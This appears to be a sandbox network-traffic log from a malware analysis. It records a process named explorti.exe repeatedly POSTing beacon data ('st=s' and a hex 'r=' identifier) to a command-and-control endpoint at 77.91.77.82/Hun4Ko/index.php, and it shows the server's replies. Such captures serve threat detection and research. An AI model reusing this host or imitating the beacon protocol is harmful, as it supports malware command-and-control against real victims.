Jul 5, 2024 06:25:01.170785904 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.7	51602	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:01.377466917 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:25:02.105827093 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.7	51603	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:02.118585110 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:25:02.815654993 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.7	51604	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:02.924901962 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:25:03.617505074 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.7	51605	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:03.631314039 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:25:04.343627930 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.7	51606	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:04.457411051 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:25:05.169245005 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.7	51607	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:05.177375078 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:25:05.901637077 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.7	51608	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:06.020483971 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:25:06.739985943 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.7	51609	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:06.748356104 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:25:07.480987072 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.7	51610	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:07.597179890 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:25:08.301239014 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.7	51611	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:08.311007023 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:25:09.028424025 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.7	51612	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:09.151186943 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:25:09.839993954 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.7	51613	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:09.848630905 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:25:10.563283920 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.7	51614	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:10.675158024 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:25:11.381771088 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.7	51615	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:11.391405106 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:25:12.132555008 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.7	51616	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:12.253339052 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:25:12.962718010 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.7	51617	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:12.972078085 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:25:13.733108997 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.7	51618	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:13.855740070 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:25:14.543452978 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.7	51619	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:14.569216967 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:25:15.270586014 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.7	51620	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:15.394695044 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:25:16.122294903 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.7	51621	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:16.130980015 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:25:16.838424921 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.7	51622	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:16.956492901 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:25:17.683681011 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.7	51623	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:17.691947937 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 5, 2024 06:25:18.397238016 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.7	51624	77.91.77.82	80	8120	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 06:25:18.519179106 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 06:25:19.209039927 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 04:25:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

